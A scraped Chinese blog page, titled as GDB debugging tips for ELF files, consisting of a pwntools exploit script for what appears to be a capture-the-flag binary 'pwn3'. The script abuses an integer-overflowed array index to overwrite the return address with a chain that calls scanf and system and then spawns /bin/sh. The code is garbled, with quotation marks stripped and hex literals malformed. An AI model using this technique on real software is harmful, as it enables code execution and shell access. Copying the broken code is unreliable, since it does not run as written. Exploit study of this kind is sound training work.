1. 程式人生 > >GDB分析ELF檔案常用的除錯技巧

GDB分析ELF檔案常用的除錯技巧

 1 from pwn import *
 2 
 3 #r = remote(‘127.0.0.1‘, 9527)
 4 r = process(./pwn3)
 5 r.recvuntil(name \n)
 6 r.sendline(123)
 7 #raw_input(‘debug‘
 8 ##構造結構可以是:scanf->ret->”%9s”->某地址->system->填充->某地址。
 9 ?
10 #下面開始構造
11 r.recvuntil(index\n)
12 #-2147483648  -->0x80000000 *4後溢位為0
13 context.terminal = [
gnome-terminal,-x,sh,-c] 14 gdb.attach(proc.pidof(p)[0]) 15 r.sendline(str(-2147483648 + 14)) #ebp+4的地址處 就是Return函式的地址 現在是一處地址一處值 1 16 r.recvuntil(value\n) 17 r.sendline(str(int(8048470, 16))) #jmp scanf 18 r.recvuntil(index\n) 19 r.sendline(str(-2147483648 + 15)) #ebp+8 20 r.recvuntil(
value\n) 21 r.sendline(str(int(0x080487de, 16))) # pop edi 22 r.recvuntil(index\n) 23 r.sendline(str(-2147483648 + 16)) 24 r.recvuntil(value\n) 25 r.sendline(str(int(804884b,16))) #0804884B a9s db ‘%9s‘,0 26 r.recvuntil(index\n) 27 r.sendline(str(-2147483648 + 17)) 28 r.recvuntil(
value\n) 29 r.sendline(str(int(804a030, 16))) #0804A030 __data_star 804a030 是GOT表的結尾 30 r.recvuntil(index\n) 31 r.sendline(str(-2147483648 + 18)) 32 r.recvuntil(value\n) 33 r.sendline(str(int(8048420, 16))) #system #jmp to system 34 r.recvuntil(index\n) 35 r.sendline(str(-2147483648 + 19)) 36 r.recvuntil(value\n) 37 r.sendline(str(int(804a030, 16))) #0804A030 __data_start db 0 38 r.recvuntil(index\n) 39 r.sendline(str(-2147483648 + 20)) 40 r.recvuntil(value\n) 41 r.sendline(str(int(804a030, 16))) #0804A030 __data_start db 0 42 r.recvuntil(index\n) 43 r.sendline(str(-2147483648 + 21)) 44 r.recvuntil(value\n) 45 r.sendline(str(int(8048420, 16))) ##system #jmp to system 46 r.recvuntil(index\n) 47 r.sendline(str(-2147483648 + 22)) 48 r.recvuntil(value\n) 49 r.sendline(str(int(8048420, 16))) ##system #jmp to system 50 r.recvuntil(index\n) #相當與讓程式碼結束 執行ret從而執行到我們的流程 51 r.sendline(-1) 52 r.recvuntil(value\n) 53 r.sendline(10) 54 r.recvuntil(0 0 0 0 0 0 0 0 0 0 ) 55 r.sendline(/bin/sh) 56 r.interactive()